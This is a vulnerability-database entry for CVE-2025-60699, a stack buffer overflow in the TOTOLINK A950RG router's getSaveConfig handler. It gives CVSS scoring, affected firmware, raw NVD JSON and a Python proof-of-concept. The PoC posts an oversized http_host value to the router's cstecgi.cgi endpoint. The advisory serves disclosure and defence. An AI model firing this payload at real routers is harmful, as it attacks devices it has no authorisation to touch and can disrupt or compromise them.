Security Vulnerability Report
中文
CVE-2025-60699 CVSS 6.5 MEDIUM

CVE-2025-60699

Published: 2025-11-13 20:15:53
Last Modified: 2025-11-18 01:51:47

Description

A buffer overflow vulnerability exists in the TOTOLINK A950RG Router firmware V5.9c.4592_B20191022_ALL within the `global.so` binary. The `getSaveConfig` function retrieves the `http_host` parameter from user input via `websGetVar` and copies it into a fixed-size stack buffer (`v13`) using `strcpy()` without performing any length checks. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to the router's web interface, potentially leading to arbitrary code execution.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:o:totolink:a950rg_firmware:5.9c.4592_b20191022:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:a950rg:-:*:*:*:*:*:*:* - NOT VULNERABLE
TOTOLINK A950RG Router Firmware V5.9c.4592_B20191022_ALL

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60699 PoC - TOTOLINK A950RG Buffer Overflow in global.so This PoC demonstrates the buffer overflow vulnerability in the getSaveConfig function by sending an oversized http_host parameter to trigger the overflow condition. Note: This is for educational and authorized security testing purposes only. """ import requests import sys target_ip = sys.argv[1] if len(sys.argv) > 1 else "192.168.10.1" target_port = 80 # Generate oversized payload to trigger buffer overflow # The exact buffer size may vary; 1024 bytes should exceed typical buffer limits buffer_size = 1024 overflow_payload = "A" * buffer_size url = f"http://{target_ip}:{target_port}/cgi-bin/cstecgi.cgi" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # The vulnerable parameter is 'http_host' in the getSaveConfig function data = { "topicurl": "saveConfig", "http_host": overflow_payload } print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") try: response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60699", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:52.773", "lastModified": "2025-11-18T01:51:46.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability exists in the TOTOLINK A950RG Router firmware V5.9c.4592_B20191022_ALL within the `global.so` binary. The `getSaveConfig` function retrieves the `http_host` parameter from user input via `websGetVar` and copies it into a fixed-size stack buffer (`v13`) using `strcpy()` without performing any length checks. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted HTTP request to the router's web interface, potentially leading to arbitrary code execution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a950rg_firmware:5.9c.4592_b20191022:*:*:*:*:*:*:*", "matchCriteriaId": "70C0D0B7-21D0-4369-866E-0D0C3B9DE481"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a950rg:-:*:*:*:*:*:*:*", "matchCriteriaId": "2F20C691-11F3-4882-89C7-500C097C0938"}]}]}], "references": [{"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/2.md", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-A950RG/CVE-2025-60699.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}